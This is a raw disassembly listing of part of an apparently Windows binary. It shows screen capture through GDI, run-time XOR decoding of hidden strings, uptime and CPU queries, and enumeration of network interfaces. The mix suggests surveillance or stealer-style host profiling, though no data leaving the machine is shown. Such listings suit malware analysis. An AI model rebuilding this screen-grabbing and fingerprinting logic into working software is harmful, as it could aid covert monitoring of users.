mov dword [rsp + 0x864], ebx
mov dword [rsp + 0x868], r13d
mov dword [rsp + 0x86c], 0x200001
mov eax, r13d
imul eax, ebx
movsxd rbp, eax
shl rbp, 2
movups xmmword [rdi], xmm9
movups xmmword [rdi - 0xc], xmm9
mov rcx, rbp
mov dl, 1
call fcn.140025f10
mov r9d, r13d
mov r13, rdx
lea rcx, [rsp + 0x860]
mov qword [rsp + 0x28], rcx
mov qword [rsp + 0x80], rax
mov qword [rsp + 0x20], rax
and dword [rsp + 0x30], 0
mov rcx, r15
mov rdx, r12
xor r8d, r8d
call sub.gdi32.dll_GetDIBits
test eax, eax
je 0x14001eb24
movaps xmmword [rsp + 0xd0], xmm9
movaps xmmword [rsp + 0xc0], xmm9
mov rcx, r12
mov edx, 0x20
lea r8, [rsp + 0xc0]
call sub.gdi32.dll_GetObjectW
test ebx, ebx
je case.0x14001c076.10
movsxd r8, ebx
shl r8, 2
mov rcx, rsi
mov rsi, rbp
mov rdx, rbp
mov qword [rsp + 0x78], r8
call fcn.1400abc8d
cmp qword [rsp + 0x458], 0
lea rdi, [rsp + 0x1a0]
je case.0x14001c076.10
mov rbx, qword [rsp + 0x460]
mov ebp, 8
test rbx, rbx
je 0x14001d263
movabs rax, 0x555555555555555
cmp rbx, rax
ja case.0x14001c076.10
imul rcx, rbx, 0x18
mov al, byte [0x1401ab1a8]
mov edx, 8
call fcn.140025930
mov rbp, rax
test rax, rax
je case.0x14001c076.10
lea rcx, [rsp + 0x450]
mov rdx, rsi
mov r8, qword [rsp + 0x78]
call fcn.1400abc8d
cmp qword [rsp + 0x458], 0
je case.0x14001c076.10
mov rax, qword [rsp + 0x460]
cmp rbx, rax
mov qword [rsp + 0xa0], r14
mov qword [rsp + 0xb0], r15
mov qword [rsp + 0x198], r12
mov qword [rsp + 0x210], r13
jae 0x14001d2e8
lea rcx, [rbx + rbx]
cmp rcx, rax
cmova rax, rcx
cmp rax, 5
mov ecx, 4
cmovb rax, rcx
xor edx, edx
movabs rcx, 0x555555555555555
cmp rax, rcx
setbe cl
test rbx, rbx
jne 0x14001d2f2
xor r9d, r9d
jmp 0x14001d30c
mov qword [rsp + 0x88], rbx
jmp 0x14001d352
imul r8, rbx, 0x18
mov qword [rsp + 0x450], rbp
mov qword [rsp + 0x460], r8
mov r9d, 8
imul r8, rax, 0x18
mov dl, cl
shl rdx, 3
mov qword [rsp + 0x458], r9
mov rcx, rdi
lea r9, [rsp + 0x450]
call fcn.140025cfa
cmp qword [rsp + 0x1a0], 0
jne case.0x14001c076.10
mov rbp, qword [rsp + 0x1a8]
mov eax, 1
mov qword [rsp + 0x88], rax
lea rdi, [rbp + 0x10]
mov qword [rsp + 0x70], rbp
lea r15, [rbp - 0x18]
xor r12d, r12d
mov qword [rsp + 0xa28], rdi
xor ebp, ebp
mov r14, qword [rsp + 0x80]
test rsi, rsi
je 0x14001d3e0
mov r13, qword [rsp + 0x78]
cmp rsi, r13
cmovb r13, rsi
lea rax, [r14 + r13]
mov qword [rsp + 0x60], rax
sub rsi, r13
mov qword [rsp + 0x68], rsi
mov rcx, r13
xor edx, edx
call fcn.140025f10
mov rbx, rax
mov rsi, r12
mov r12, rdx
mov rcx, rax
mov rdx, r14
mov r8, r13
call sub.msvcrt.dll_memcpy
mov qword [rdi - 0x10], rbx
mov qword [rdi - 8], r12
mov r12, rsi
mov rsi, qword [rsp + 0x68]
mov qword [rdi], r13
inc rbp
add rdi, 0x18
add r15, 0x18
add r12, 0x18
mov r14, qword [rsp + 0x60]
jmp 0x14001d374
mov rax, rbp
shr rax, 1
mov rcx, qword [rsp + 0x70]
sub rax, 1
jb 0x14001d443
cmp rbp, 2
jb case.0x14001c076.10
mov rdx, qword [rcx + 0x10]
mov qword [rsp + 0x460], rdx
movups xmm0, xmmword [rcx]
movaps xmmword [rsp + 0x450], xmm0
mov rdx, qword [r15 + 0x10]
mov qword [rcx + 0x10], rdx
movups xmm0, xmmword [r15]
movups xmmword [rcx], xmm0
mov rdx, qword [rsp + 0x460]
mov qword [r15 + 0x10], rdx
movaps xmm0, xmmword [rsp + 0x450]
movups xmmword [r15], xmm0
add rcx, 0x18
add r15, 0xffffffffffffffe8
jmp 0x14001d3eb
test rbp, rbp
jne 0x14001d457
mov rbx, rbp
xor ecx, ecx
lea r14, [rsp + 0x450]
jmp 0x14001d478
mov rbx, rbp
xor ecx, ecx
lea r14, [rsp + 0x450]
mov rdx, qword [rsp + 0xa28]
add rcx, qword [rdx]
add rdx, 0x18
dec rbp
jne 0x14001d46c
mov r13d, dword [rsp + 0xc4]
mov edi, dword [rsp + 0xc8]
xor edx, edx
call fcn.140025f10
mov qword [rsp + 0x450], rax
mov qword [rsp + 0x458], rdx
and qword [rsp + 0x460], 0
mov rax, qword [rsp + 0x70]
test r12, r12
je 0x14001d4d0
lea rsi, [rax + 0x18]
mov rdx, qword [rax]
mov r8, qword [rax + 0x10]
add r8, rdx
mov rcx, r14
call fcn.140025bdc
add r12, 0xffffffffffffffe8
mov rax, rsi
jmp 0x14001d4ac
mov rsi, qword [rsp + 0x450]
mov rax, qword [rsp + 0x458]
mov qword [rsp + 0x68], rax
mov r15, qword [rsp + 0x460]
mov rax, r15
and rax, 0xfffffffffffffffc
lea rcx, [rsi + rax]
mov edx, r15d
and qword [rsp + 0x450], 0
and edx, 3
and qword [rsp + 0x470], 0
mov r12, r14
mov qword [rsp + 0x60], rdi
mov r14d, edi
mov rdi, r13
imul r14d, r13d
mov qword [rsp + 0x490], rsi
mov qword [rsp + 0x498], rax
mov qword [rsp + 0x4a0], rcx
mov qword [rsp + 0x4a8], rdx
mov qword [rsp + 0x4b0], 4
mov qword [rsp + 0x4b8], r14
lea rbp, [rsp + 0x1a0]
mov rcx, rbp
mov rdx, r12
call fcn.1400abbd3
xor eax, eax
cmp qword [rsp + 0x1a8], rax
je case.0x14001c076.10
mov rcx, qword [rsp + 0x1b0]
xor edx, edx
call fcn.140025f10
mov qword [rsp + 0x230], rax
mov qword [rsp + 0x238], rdx
and qword [rsp + 0x240], 0
mov rcx, rbp
mov rdx, r12
call fcn.1400abbd3
cmp qword [rsp + 0x1a8], 0
lea r12, [rsp + 0x150]
mov r13, qword [rsp + 0x3e0]
je case.0x14001c076.10
mov rdx, qword [rsp + 0x1b0]
lea rcx, [rsp + 0x230]
call fcn.140025c1f
mov rax, qword [rsp + 0x230]
mov rcx, qword [rsp + 0x240]
lea rdx, [rsp + 0x240]
mov qword [rsp + 0x150], rdx
mov qword [rsp + 0x158], rcx
mov qword [rsp + 0x160], rax
shr r15, 2
cmp r14, r15
cmovb r15, r14
xor eax, eax
cmp r15, rax
je 0x14001d671
lea r14, [rax + 1]
movzx ecx, byte [rsi + rax*4]
movzx edx, byte [rsi + rax*4 + 3]
shl edx, 0x18
shl ecx, 0x10
movzx eax, word [rsi + rax*4 + 1]
rol ax, 8
movzx eax, ax
or eax, ecx
or eax, edx
mov dword [rsp + 0x1b0], eax
and qword [rsp + 0x1a0], 0
mov qword [rsp + 0x1a8], 4
mov rcx, r12
mov rdx, rbp
call fcn.1400abb9e
mov rax, r14
jmp 0x14001d61d
mov rax, qword [rsp + 0x150]
mov rcx, qword [rsp + 0x158]
mov qword [rax], rcx
mov rcx, qword [rsp + 0x230]
mov r8, qword [rsp + 0x238]
lea rax, [rdi*4]
mov r9, qword [rsp + 0x60]
mul r9
jo 0x14001d6f6
mov rdx, qword [rsp + 0x240]
cmp rax, rdx
ja 0x14001d6f6
mov r15, r8
mov qword [rsp + 0xa10], rdx
mov eax, edi
mov dword [rsp + 0xa08], edi
mov eax, r9d
mov dword [rsp + 0xa00], r9d
lea rax, [0x14018edf8]
lea r14, [rsp + 0x450]
mov rdi, qword [rsp + 0x3e8]
mov rbp, qword [rsp + 0x88]
mov r13, rcx
jmp 0x14001d723
mov r15, r13
mov rdx, r8
call fcn.140025ee7
xor r13d, r13d
lea rax, [0x14018edf8]
lea r14, [rsp + 0x450]
mov rdi, qword [rsp + 0x3e8]
mov rbp, qword [rsp + 0x88]
lea rcx, str.buffer_not_big_enough
mov qword [rsp + 0x450], rcx
mov qword [rsp + 0x458], 1
mov qword [rsp + 0x460], rax
movups xmmword [rsp + 0x468], xmm9
mov rcx, r14
call fcn.1400abfa6
mov rcx, rax
test r13, r13
jne 0x14001d770
mov qword [rsp + 0x78], rcx
xor eax, eax
mov qword [rsp + 0x60], rax
mov r13, r15
jmp 0x14001d7a6
mov qword [rsp + 0x60], r13
mov rax, qword [rcx]
call qword [rax]
mov r13, r15
mov qword [rsp + 0x78], r15
mov rdi, qword [rsp + 0xa10]
mov eax, dword [rsp + 0xa08]
mov dword [rsp + 0xa20], eax
mov eax, dword [rsp + 0xa00]
mov dword [rsp + 0xa18], eax
mov rcx, rsi
mov rdx, qword [rsp + 0x68]
call fcn.140025ee7
mov rax, qword [rsp + 0x70]
lea rsi, [rax + 8]
sub rbx, 1
jb 0x14001d7d4
mov rcx, qword [rsi - 8]
mov rdx, qword [rsi]
call fcn.140025ee7
add rsi, 0x18
jmp 0x14001d7bc
test rbp, rbp
je 0x14001d7e8
mov edx, 8
mov rcx, qword [rsp + 0x70]
call fcn.1400259c0
mov rcx, qword [rsp + 0x80]
mov rdx, qword [rsp + 0x210]
call fcn.140025ee7
mov rcx, qword [rsp + 0x198]
call sub.gdi32.dll_DeleteObject
mov rcx, qword [rsp + 0xb0]
call sub.gdi32.dll_DeleteDC
mov rcx, qword [rsp + 0xa0]
call sub.gdi32.dll_DeleteDC
mov r8, qword [rsp + 0x60]
test r8, r8
lea rsi, [rsp + 0x860]
je case.0x14001c076.10
mov qword [rsp + 0x290], 1
lea rax, [rsp + 0x298]
movups xmmword [rax], xmm9
lea rax, [rsp + 0x290]
mov qword [rsp + 0x150], rax
and qword [rsp + 0x158], 0
mov byte [rsp + 0x860], 0
mov r10d, dword [rsp + 0xa20]
mov eax, r10d
shl rax, 2
mov r9d, dword [rsp + 0xa18]
mov ecx, r9d
mul rcx
jo case.0x14001c076.10
cmp rax, rdi
ja case.0x14001c076.10
mov qword [rsp + 0x30], rsi
mov dword [rsp + 0x28], r9d
mov dword [rsp + 0x20], r10d
mov rcx, r14
mov rdx, r12
mov r9, rax
call fcn.140006fab
cmp byte [rsp + 0x488], 0xc
jne case.0x14001c076.10
mov ecx, 0xc
mov edx, 1
call fcn.140006f0f
mov r15, rax
movabs rax, 0x5215f2bfbe380b33
mov qword [r15], rax
mov dword [r15 + 8], 0x911d2bdf
mov ecx, 0xc
mov edx, 1
call fcn.140006f0f
movabs rcx, 0x3a669cdadb4a6840
mov qword [rax], rcx
mov dword [rax + 8], 0xbe6e5fb0
mov qword [rsp + 0x860], rax
mov ecx, 0xc
mov qword [rsp + 0x868], rcx
mov qword [rsp + 0x870], rcx
xor ecx, ecx
cmp rcx, 0xc
je 0x14001d945
mov dl, byte [r15 + rcx]
xor byte [rax + rcx], dl
inc rcx
jmp 0x14001d933
mov qword [rsp + 0x3e8], rdi
mov rcx, r14
mov rdx, rsi
call fcn.140006f2f
cmp byte [rsp + 0x470], 2
jne case.0x14001c076.10
mov rsi, qword [rsp + 0x450]
mov rdi, qword [rsp + 0x458]
mov rbx, qword [rsp + 0x460]
mov edx, 0xc
mov rcx, r15
call fcn.140025ee7
mov qword [rsp + 0x1a0], rsi
mov qword [rsp + 0x1a8], rbx
mov ecx, 0xa
mov edx, 1
call fcn.140006f0f
mov r15, rax
movabs rax, 0x4c2fadb4c881e511
mov qword [r15], rax
mov word [r15 + 8], 0x5123
mov ecx, 0xa
mov edx, 1
call fcn.140006f0f
movabs rcx, 0x3c01c3d1adf38662
mov qword [rax], rcx
mov word [rax + 8], 0x364d
mov qword [rsp + 0x860], rax
mov ecx, 0xa
mov qword [rsp + 0x868], rcx
mov qword [rsp + 0x870], rcx
xor ecx, ecx
lea rbp, [rsp + 0x860]
cmp rcx, 0xa
je 0x14001da1c
mov dl, byte [r15 + rcx]
xor byte [rax + rcx], dl
inc rcx
jmp 0x14001da0a
mov qword [rsp + 0x3e0], r13
mov rcx, r14
mov rdx, rbp
call fcn.140006f2f
cmp byte [rsp + 0x470], 2
jne case.0x14001c076.10
mov r13, r14
mov rbx, qword [rsp + 0x450]
mov r12, qword [rsp + 0x458]
mov r14, qword [rsp + 0x460]
mov edx, 0xa
mov rcx, r15
call fcn.140025ee7
mov qword [rsp + 0xc0], rbx
mov qword [rsp + 0xc8], r14
lea rax, [rsp + 0x1a0]
mov qword [rsp + 0x450], rax
lea rax, [fcn.1400329bc]
mov qword [rsp + 0x458], rax
lea rcx, [rsp + 0x410]
mov qword [rsp + 0x460], rcx
lea rcx, [fcn.140033abf]
mov qword [rsp + 0x468], rcx
lea rcx, [0x14010d930]
mov qword [rsp + 0x860], rcx
mov edx, 3
mov qword [rsp + 0x868], rdx
and qword [rsp + 0x880], 0
lea rcx, [rsp + 0xc0]
mov qword [rsp + 0x470], rcx
mov qword [rsp + 0x478], rax
mov qword [rsp + 0x870], r13
mov qword [rsp + 0x878], rdx
lea r14, [rsp + 0xc10]
mov rcx, r14
mov rdx, rbp
call fcn.140006e4c
mov rcx, rbx
mov rdx, r12
call fcn.140025ee7
mov rcx, rsi
mov rdx, rdi
call fcn.140025ee7
mov rax, qword [rsp + 0x2a0]
mov qword [rsp + 0x460], rax
movups xmm0, xmmword [rsp + 0x290]
movaps xmmword [rsp + 0x450], xmm0
lea rcx, [rsp + 0xb90]
mov rdx, r14
mov r8, r13
call fcn.140018a5e
mov rcx, qword [rsp + 0x60]
mov rdx, qword [rsp + 0x78]
call fcn.140025ee7
mov r14, qword [rsp + 0xb8]
mov r15, qword [rsp + 0x98]
xor ecx, ecx
mov edx, 0x7fffffff
lea rsi, [0x1400abede]
mov rdi, qword [rsp + 0x90]
mov r12, qword [rsp + 0xa8]
jmp 0x14001ce60
lea rax, [rsp + 0x1a0]
mov qword [rsp + 0x290], rax
lea rax, str.Cant_find_a_display_by_id
lea rcx, [rsp + 0x450]
mov qword [rcx], rax
mov eax, 1
mov qword [rcx + 8], rax
and qword [rcx + 0x20], 0
lea rdx, [0x140030b39]
mov qword [rsp + 0x298], rdx
lea rdx, [rsp + 0x290]
mov qword [rcx + 0x10], rdx
mov qword [rcx + 0x18], rax
call fcn.1400abfa6
mov rcx, rbp
call fcn.1400ac080
ud2
cmp qword [rsp + 0x288], 0
je 0x14001dc1e
mov edx, 4
mov rcx, r14
mov r8, qword [rsp + 0x190]
call fcn.140010a9a
mov qword [rsp + 0x218], 8
xorps xmm0, xmm0
movups xmmword [rsp + 0x220], xmm0
call fcn.1400bdab3
mov qword [rsp + 0x60], rax
mov r12, rdx
lea rsi, [rsp + 0x450]
mov edx, 0x158
mov r8d, 0x1f4
mov rcx, rsi
call fcn.1400bcd4e
movdqu xmm0, xmmword [rsi]
movups xmm1, xmmword [rsi + 0x10]
movaps xmmword [rsp + 0x870], xmm1
movdqa xmmword [rsp + 0x860], xmm0
mov ecx, 9
call fcn.1400b14fe
mov r13, rax
mov rbp, rdx
movabs rax, 0x5043206c61746f54
mov qword [r13], rax
mov byte [r13 + 8], 0x55
mov ecx, 8
mov edx, 0x120
call fcn.140025db9
test rax, rax
je case.0x14001c076.10
mov rbx, rax
call fcn.1400bdab3
mov r14, rax
mov r15, rdx
call fcn.1400b7b74
shl rdx, 0x20
mov eax, eax
or rax, rdx
movabs rcx, 0x19db1ded53e8000
cmp rax, rcx
jge 0x14001dce0
xor esi, esi
jmp 0x14001dd12
movabs rcx, 0xfe624e212ac18000
add rax, rcx
xor edi, edi
mov ecx, 0x989680
xor edx, edx
div rcx
mov rsi, rax
call sub.kernel32.dll_GetTickCount64
mov ecx, 0x3e8
xor edx, edx
div rcx
sub rsi, rax
cmovb rsi, rdi
mov rax, qword [rsp + 0x60]
pxor xmm0, xmm0
lea rdi, [rsp + 0x450]
movdqu xmmword [rdi + 0x100], xmm0
movaps xmm1, xmmword [rsp + 0x860]
movaps xmm2, xmmword [rsp + 0x870]
movups xmmword [rdi + 0x40], xmm1
movups xmmword [rdi + 0x50], xmm2
mov qword [rdi + 0x60], rax
mov qword [rdi + 0x68], r12
movdqu xmmword [rdi + 0xa0], xmm0
movdqu xmmword [rdi + 0xb0], xmm0
mov qword [rdi + 0x110], r13
mov qword [rdi + 0x118], rbp
mov qword [rdi + 0x120], 9
mov eax, 1
mov qword [rdi + 0x128], rax
movdqu xmmword [rdi + 0x130], xmm0
mov qword [rdi + 0x140], rax
and qword [rdi + 0x158], 0
movdqu xmmword [rdi + 0x148], xmm0
lea r13, [rsp + 0x290]
movups xmm1, xmmword [r13]
movups xmmword [rdi + 0x160], xmm1
and qword [rdi + 0x170], 0
and dword [rdi + 0x178], 0
mov eax, 8
mov qword [rdi + 0x180], rax
movdqu xmmword [rdi + 0x188], xmm0
mov byte [rdi + 0x198], 0
mov qword [rdi + 0xc8], rax
movdqu xmmword [rdi + 0xd0], xmm0
mov qword [rdi + 0xe0], rbx
mov qword [rdi + 0xe8], 2
and qword [rdi + 0xf0], 0
and qword [rdi], 0
movdqu xmmword [rdi + 0x80], xmm7
movdqu xmmword [rdi + 0x70], xmm6
mov qword [rdi + 0x90], r14
mov qword [rdi + 0x98], r15
mov qword [rdi + 0xc0], rsi
mov qword [rdi + 0xf8], rax
mov rcx, rdi
call fcn.1400bdadd
mov rcx, rdi
mov dl, 1
call fcn.1400bdbc2
mov rcx, r13
call fcn.1400bf478
cmp dword [r13], 2
jne 0x14001de69
lea rbx, [rsp + 0x860]
lea r15, [rsp + 0xc0]
jmp 0x14001e017
mov rax, qword [rsp + 0x2c0]
lea rdx, [rsp + 0x860]
mov qword [rdx + 0x30], rax
movdqu xmm0, xmmword [rsp + 0x290]
movups xmm1, xmmword [rsp + 0x2a0]
movups xmm2, xmmword [rsp + 0x2b0]
movaps xmmword [rdx + 0x20], xmm2
movaps xmmword [rdx + 0x10], xmm1
movdqa xmmword [rdx], xmm0
lea rsi, [rsp + 0xc0]
mov rcx, rsi
call fcn.1400bf4a4
cmp qword [rsi], 2
lea rbx, [rsp + 0x860]
lea r15, [rsp + 0xc0]
je 0x14001e017
mov rax, qword [rsp + 0xf0]
lea rdx, [rsp + 0x860]
mov qword [rdx + 0x30], rax
movdqu xmm0, xmmword [rsp + 0xc0]
movups xmm1, xmmword [rsp + 0xd0]
movups xmm2, xmmword [rsp + 0xe0]
movaps xmmword [rdx + 0x20], xmm2
movaps xmmword [rdx + 0x10], xmm1
movdqa xmmword [rdx], xmm0
lea rsi, [rsp + 0x1a0]
mov rcx, rsi
call fcn.1400bf51e
cmp qword [rsi], 2
je 0x14001e017
mov rax, qword [rsp + 0x1d0]
lea rdx, [rsp + 0x860]
mov qword [rdx + 0x30], rax
movdqu xmm0, xmmword [rsp + 0x1a0]
movups xmm1, xmmword [rsp + 0x1b0]
movups xmm2, xmmword [rsp + 0x1c0]
movaps xmmword [rdx + 0x20], xmm2
movaps xmmword [rdx + 0x10], xmm1
movdqa xmmword [rdx], xmm0
lea rsi, [rsp + 0x150]
mov rcx, rsi
call fcn.1400bf5b4
cmp qword [rsi], 2
je 0x14001e017
mov rax, qword [rsp + 0x180]
lea rdx, [rsp + 0x860]
mov qword [rdx + 0x30], rax
movdqu xmm0, xmmword [rsp + 0x150]
movups xmm1, xmmword [rsp + 0x160]
movups xmm2, xmmword [rsp + 0x170]
movaps xmmword [rdx + 0x20], xmm2
movaps xmmword [rdx + 0x10], xmm1
movdqa xmmword [rdx], xmm0
lea rsi, [rsp + 0x230]
mov rcx, rsi
call fcn.1400bf67e
cmp qword [rsi], 2
je 0x14001e017
mov rax, qword [rsp + 0x260]
lea rdx, [rsp + 0x860]
mov qword [rdx + 0x30], rax
movdqu xmm0, xmmword [rsp + 0x230]
movups xmm1, xmmword [rsp + 0x240]
movups xmm2, xmmword [rsp + 0x250]
movaps xmmword [rdx + 0x20], xmm2
movaps xmmword [rdx + 0x10], xmm1
movdqa xmmword [rdx], xmm0
lea rsi, [rsp + 0x410]
mov rcx, rsi
call fcn.1400bf6fb
mov rax, qword [rsi]
cmp rax, 2
jne 0x140024bce
mov esi, 8
xor edi, edi
mov rcx, qword [rsp + 0x518]
mov rdx, qword [rsp + 0x528]
call fcn.1400bc7bf
mov rcx, qword [rsp + 0x518]
mov rdx, qword [rsp + 0x520]
call fcn.1400bc90c
mov qword [rsp + 0x518], rsi
mov qword [rsp + 0x520], rdi
mov qword [rsp + 0x528], rdi
lea rcx, [rsp + 0x1a0]
and qword [rcx], 0
call sub.iphlpapi.dll_GetIfTable2
test eax, eax
jne 0x14001ef4a
lea r8, [rsp + 0x4e0]
mov rax, qword [r8 - 0x20]
mov rcx, qword [r8 - 0x18]
add rcx, rax
inc rcx
movdqa xmm0, xmmword [rax]
pmovmskb edx, xmm0
not edx
mov r8, qword [r8 - 8]
lea rsi, [rsp + 0x860]
mov qword [rsi], rax
add rax, 0x10
mov qword [rsi + 8], rax
mov qword [rsi + 0x10], rcx
mov word [rsi + 0x18], dx
mov qword [rsi + 0x20], r8
mov rcx, rsi
call fcn.1400bc9df
test rax, rax
je 0x14001e0cf
mov byte [rdx + 0x6e], 0
jmp 0x14001e0bc
call fcn.1400bdab3
lea rcx, [rsp + 0x880]
movdqa xmmword [rcx - 0x20], xmm6
movdqa xmmword [rcx - 0x10], xmm7
mov qword [rcx], rax
mov qword [rcx + 8], rdx
lea rax, [rsp + 0xc0]
mov qword [rax], 8
pxor xmm0, xmm0
movdqu xmmword [rax + 8], xmm0
mov r14, qword [rsp + 0x1a0]
mov ecx, dword [r14]
add r14, 8
mov eax, 8
mov qword [rsp + 0x80], rax
xor eax, eax
mov qword [rsp + 0x90], rax
pcmpeqd xmm6, xmm6
xor eax, eax
mov qword [rsp + 0x78], r14
mov qword [rsp + 0xa8], rcx
cmp rax, rcx
je 0x14001e44b
mov rbx, rax
inc rax
imul rsi, rbx, 0x548
cmp qword [r14 + rsi + 0x4a8], 0
jne 0x14001e16a
cmp qword [r14 + rsi + 0x4b0], 0
je 0x14001e13e
cmp dword [r14 + rsi + 0x48c], 2
je 0x14001e13e
cmp dword [r14 + rsi + 0x420], 0
je 0x14001e13e
mov qword [rsp + 0x68], rax
mov ecx, 0x14
mov edx, 2
call fcn.1400b36a2
mov rbp, rax
mov eax, dword [r14 + rsi + 0x10]
movzx ecx, byte [r14 + rsi + 0x14]
movzx edx, byte [r14 + rsi + 0x15]
movzx r8d, byte [r14 + rsi + 0x16]
movzx r9d, byte [r14 + rsi + 0x17]
movzx r10d, byte [r14 + rsi + 0x18]
movzx r11d, byte [r14 + rsi + 0x19]
movzx edi, byte [r14 + rsi + 0x1a]
movzx esi, byte [r14 + rsi + 0x1b]
mov dword [rbp], eax
mov word [rbp + 4], cx
mov word [rbp + 6], dx
mov word [rbp + 8], r8w
mov word [rbp + 0xa], r9w
mov word [rbp + 0xc], r10w
mov word [rbp + 0xe], r11w
mov word [rbp + 0x10], di
mov word [rbp + 0x12], si
mov r8d, 0xa
lea rcx, [rsp + 0x290]
mov rdx, rbp
call fcn.1400b306e
mov rcx, qword [rsp + 0x880]
mov rdx, qword [rsp + 0x888]
mov rdi, qword [rsp + 0x290]
mov r13, qword [rsp + 0x2a0]
mov r8, rdi
mov r9, r13
call fcn.1400bc409
mov r12, qword [rsp + 0x860]
mov r15, qword [rsp + 0x868]
mov r14, r15
and r14, rax
mov qword [rsp + 0x70], rax
shr rax, 0x39
movd xmm0, eax
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
pshufd xmm7, xmm0, 0
xor eax, eax
mov qword [rsp + 0x60], rax
movdqu xmm8, xmmword [r12 + r14]
movdqa xmm0, xmm8
pcmpeqb xmm0, xmm7
pmovmskb eax, xmm0
mov word [rsp + 0x150], ax
lea rcx, [rsp + 0x150]
call fcn.14004143f
test rax, rax
je 0x14001e2c2
add rdx, r14
and rdx, r15
shl rdx, 5
mov rsi, r12
sub rsi, rdx
mov rcx, qword [rsi - 0x20]
mov rdx, qword [rsi - 0x10]
mov r8, rdi
mov r9, r13
call fcn.1400bc535
test al, al
je 0x14001e287
jmp 0x14001e2ea
pcmpeqb xmm8, xmm6
pmovmskb eax, xmm8
test eax, eax
jne 0x14001e337
mov rax, qword [rsp + 0x60]
add r14, rax
add r14, 0x10
add rax, 0x10
mov qword [rsp + 0x60], rax
and r14, r15
jmp 0x14001e26c
mov rdx, qword [rsp + 0x298]
mov rcx, rdi
call fcn.1400b1675
mov eax, dword [rsi - 8]
inc eax
mov dword [rsi - 8], eax
cmp eax, 1
mov r14, qword [rsp + 0x78]
jle 0x14001e3a2
mov edx, 0xa
mov rcx, rbp
call fcn.1400b1675
lea r15, [rsp + 0xc0]
mov rcx, qword [rsp + 0xa8]
mov rax, qword [rsp + 0x68]
jmp 0x14001e13e
cmp qword [rsp + 0x870], 0
je 0x14001e421
mov r14, qword [rsp + 0x298]
mov rcx, r12
mov rdx, r15
mov r8, qword [rsp + 0x70]
call fcn.14006a600
mov rcx, qword [rsp + 0x860]
shl rax, 5
mov rsi, rcx
and dl, 1
neg dl
movsx rdx, dl
add qword [rsp + 0x870], rdx
sub rsi, rax
neg rax
mov qword [rcx + rax - 0x20], rdi
mov qword [rsi - 0x18], r14
mov qword [rsi - 0x10], r13
and dword [rsi - 8], 0
inc qword [rsp + 0x878]
jmp 0x14001e2fa
mov rdx, qword [rsp + 0x90]
cmp rdx, qword [rsp + 0xc8]
jne 0x14001e3d3
lea rcx, [rsp + 0xc0]
call fcn.1400bc64e
mov rax, qword [rsp + 0xc0]
mov rdx, qword [rsp + 0xd0]
jmp 0x14001e3db
mov rax, qword [rsp + 0x80]
shl rdx, 5
mov dword [rax + rdx], ebx
mov qword [rax + rdx + 8], rbp
mov ecx, 0xa
mov qword [rax + rdx + 0x10], rcx
mov qword [rsp + 0x80], rax
mov qword [rax + rdx + 0x18], rcx
mov rcx, qword [rsp + 0xd0]
inc rcx
mov rax, rcx
mov qword [rsp + 0x90], rcx
mov qword [rsp + 0xd0], rcx
jmp 0x14001e31d
lea rcx, [rsp + 0x860]
lea rdx, [rsp + 0x880]
call fcn.1400bce73
mov r12, qword [rsp + 0x860]
mov r15, qword [rsp + 0x868]
jmp 0x14001e346
mov rax, qword [rsp + 0xc0]
mov rcx, qword [rsp + 0xc8]
mov qword [rsp + 0x198], rcx
mov rbx, qword [rsp + 0x90]
shl rbx, 5
add rbx, rax
lea r14, [rsp + 0x290]
pcmpeqd xmm6, xmm6
mov qword [rsp + 0x210], rax
mov r12, rax
mov qword [rsp + 0x90], rbx
mov rdi, r12
cmp r12, rbx
je 0x14001e9d5
lea r12, [rdi + 0x20]
mov rsi, qword [rdi + 8]
test rsi, rsi
je 0x14001e9d2
mov rax, qword [rdi + 0x10]
mov qword [rsp + 0x60], rax
mov edx, dword [rdi]
cmp qword [rsp + 0x878], 0
mov qword [rsp + 0x68], r12
je 0x14001e5b3
mov qword [rsp + 0x70], rdx
mov rdi, qword [rdi + 0x18]
mov rcx, qword [rsp + 0x880]
mov rdx, qword [rsp + 0x888]
mov r8, rsi
mov r9, rdi
call fcn.1400bc409
mov rbx, qword [rsp + 0x860]
mov rbp, qword [rsp + 0x868]
mov r15, rbp
and r15, rax
shr rax, 0x39
movd xmm0, eax
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
pshufd xmm7, xmm0, 0
xor r12d, r12d
movdqu xmm8, xmmword [rbx + r15]
movdqa xmm0, xmm8
pcmpeqb xmm0, xmm7
pmovmskb eax, xmm0
mov word [rsp + 0x290], ax
mov rcx, r14
call fcn.14004143f
test rax, rax
je 0x14001e571
add rdx, r15
and rdx, rbp
shl rdx, 5
mov r13, rbx
sub r13, rdx
mov r8, qword [r13 - 0x20]
mov r9, qword [r13 - 0x10]
mov rcx, rsi
mov rdx, rdi
call fcn.1400bc535
test al, al
je 0x14001e53b
jmp 0x14001e593
pcmpeqb xmm8, xmm6
pmovmskb eax, xmm8
test eax, eax
jne 0x14001e821
add r15, r12
add r15, 0x10
add r12, 0x10
and r15, rbp
jmp 0x14001e520
add r13, 0xffffffffffffffe0
lea r15, [rsp + 0xc0]
mov rbx, qword [rsp + 0x90]
mov r12, qword [rsp + 0x68]
mov rdx, qword [rsp + 0x70]
jmp 0x14001e5b6
xor r13d, r13d
lea rax, [r13 + 0x18]
test r13, r13
lea rcx, [0x14016a380]
cmove rax, rcx
cmp dword [rax], 1
jg 0x14001e80f
imul rdi, rdx, 0x548
mov rax, qword [rsp + 0x78]
lea r15, [rax + rdi]
lea rdx, [rax + rdi]
add rdx, 0x1c
xor r8d, r8d
cmp r8, 0x101
je 0x14001e602
cmp word [rdx + r8*2], 0
je 0x14001e60a
inc r8
jmp 0x14001e5ec
mov r8d, 0x101
jmp 0x14001e617
cmp r8, 0x102
jae case.0x14001c076.10
mov rcx, r14
call fcn.14002635a
mov rbp, qword [rsp + 0x290]
test rbp, rbp
je 0x14001e807
mov qword [rsp + 0xb8], r15
mov qword [rsp + 0xa8], rdi
mov rax, qword [rsp + 0x298]
mov qword [rsp + 0x80], rax
mov rdi, qword [rsp + 0x2a0]
mov rcx, qword [rsp + 0x4e0]
mov rdx, qword [rsp + 0x4e8]
mov r8, rbp
mov r9, rdi
call fcn.1400bc49f
mov r13, qword [rsp + 0x4c0]
mov rbx, qword [rsp + 0x4c8]
mov r15, rbx
and r15, rax
mov qword [rsp + 0x98], rax
shr rax, 0x39
movd xmm0, eax
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
pshufd xmm7, xmm0, 0
xor eax, eax
mov qword [rsp + 0x70], rax
movdqu xmm8, xmmword [r13 + r15]
movdqa xmm0, xmm8
pcmpeqb xmm0, xmm7
pmovmskb eax, xmm0
